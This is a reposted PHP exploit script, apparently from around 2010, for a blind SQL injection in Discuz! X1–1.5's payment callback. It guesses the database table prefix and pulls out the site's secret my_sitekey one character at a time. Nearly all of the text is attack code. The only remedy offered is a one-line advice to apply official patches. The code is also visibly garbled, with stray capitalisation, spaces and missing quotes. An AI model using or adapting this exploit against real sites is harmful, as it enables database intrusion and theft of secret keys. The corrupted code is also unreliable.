DZX1.5 0Day and repair

========================================================== ===
<? Php
Print_r (
+ --------------------------------------------------------------------------- +
Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit
By toby57 2010.11.05
Mail: toby57 at 163 dot com
Team: http://www.wolvez.org
+ --------------------------------------------------------------------------- +
);
If ($ argc <2 ){
Print_r (
+ --------------------------------------------------------------------------- +
Usage: php. $ argv [0]. url [pre]
Example:
Php. $ argv [0]. http: // localhost/
Php. $ argv [0]. http: // localhost/xss _
+ --------------------------------------------------------------------------- +
);
Exit;
}
Error_reporting (7 );
Ini_set (max_execution_time, 0 );
$ Url = $ argv [1];
$ Pre = $ argv [2]? $ Argv [2]: pre _;
$ Target = parse_url ($ url );
Extract ($ target );
$ Path. =/api/trade/policy_credit.php;
$ Hash = array ();
$ Hash = array_merge ($ hash, range (48, 57 ));
$ Hash = array_merge ($ hash, range (97,102 ));
$ Tmp_expstr = "";
$ Res = send ();
If (strpos ($ res, SQL syntax) = false) {var_dump ($ res); die (Oooops. I can NOT hack it .);}
Preg_match (/FROMs ([a-zA-Z _] +) forum_order/, $ res, $ match );
If ($ match [1]) $ pre = $ match [1];
$ Tmp_expstr = "union all Select 0, 1, 0, 0, 0, 0 FROM {$ pre} common_setting Where = ";
$ Res = send ();
If (strpos ($ res, "doesnt exist ")! = False ){
Echo "Table_pre is WRONG! Ready to Crack It. Please Waiting ..";
For ($ I = 1; $ I <20; $ I ++ ){
$ Tmp_expstr = "union all Select 0, 0, 0, 0, 0, 0 FROM information_schema.columns Where table_schema = database () AND table_name LIKE % forum_post_tableid % and length (REPLACE (table_name, forum_post_tableid,) = $ I AND = ";
$ Res = send ();
If (strpos ($ res, SQL syntax )! = False ){
$ Pre =;
$ Hash2 = array ();
$ Hash2 = array_merge ($ hash2, range (48, 57 ));
$ Hash2 = array_merge ($ hash2, range (0, 97,122 ));
$ Hash2 [] = 95;
For ($ j = 1; $ j <= $ I; $ j ++ ){
For ($ k = 0; $ k <= 255; $ k ++ ){
If (in_array ($ k, $ hash2 )){
$ Char = dechex ($ k );
$ Tmp_expstr = "union all Select 0, 0, 0, 0, 0, 0 FROM information_schema.columns Where table_schema = database () AND table_name LIKE % forum_post_tableid % and mid (REPLACE (table_name, forum_post_tableid,), $ j, 1) = 0x {$ char} AND = ";
$ Res = send ();
If (strpos ($ res, SQL syntax )! = False ){
Echo chr ($ k );
$ Pre. = chr ($ k); break;
}
}
}
}
If (strlen ($ pre) {echo "Cracked... table_Pre :". $ pre. ""; break;} else {die (GET Table_pre Failed ..);};
}}};
Echo "Please Waiting ....";
$ Sitekey =;
For ($ I = 1; $ I <= 32; $ I ++ ){
For ($ k = 0; $ k <= 255; $ k ++ ){
If (in_array ($ k, $ hash )){
$ Char = dechex ($ k );
$ Tmp_expstr = "union all Select 0, 0, 0, 0, 0, 0 FROM {$ pre} common_setting Where skey = 0x6d795f7%74656b6579 and mid (svalue, {$ I}, 1) = 0x {$ char} AND = ";
$ Res = send ();
If (strpos ($ res, SQL syntax )! = False ){
Echo chr ($ k );
$ Sitekey. = chr ($ k); break;
}}}}
If (strlen ($ sitekey )! = 32) die ("". can NOT get the my_sitekey ..);
Echo "". Exploit Successfully... "my_sitekey: {$ sitekey }";
Exit;
Function sign ($ exp_str ){
Return md5 ("attach = tenpay & mch_vno = {$ exp_str} & retcode = 0 & key = ");
}
Function send (){
Global $ host, $ path, $ tmp_expstr;

$ Expdata = "attach = tenpay & retcode = 0 & trade_no = % 2527 & mch_vno = ". urlencode ($ tmp_expstr )). "& sign = ". sign ($ tmp_expstr );
$ Data = "POST $ path HTTP/1.1 ";
$ Data. = "Host: $ host ";
$ Data. = "Content-Type: application/x-www-form-urlencoded ";
$ Data. = "Content-Length:". strlen ($ expdata )."";
$ Data. = "Connection: Close ";
$ Data. = $ expdata;
$ Fp = fsockopen ($ host, 80 );
Fputs ($ fp, $ data );
$ Resp =;
While ($ fp &&! Feof ($ fp ))
$ Resp. = fread ($ fp, 1024 );
Return $ resp;
}
?>
========================================================== =====

Fix: Pay attention to official patches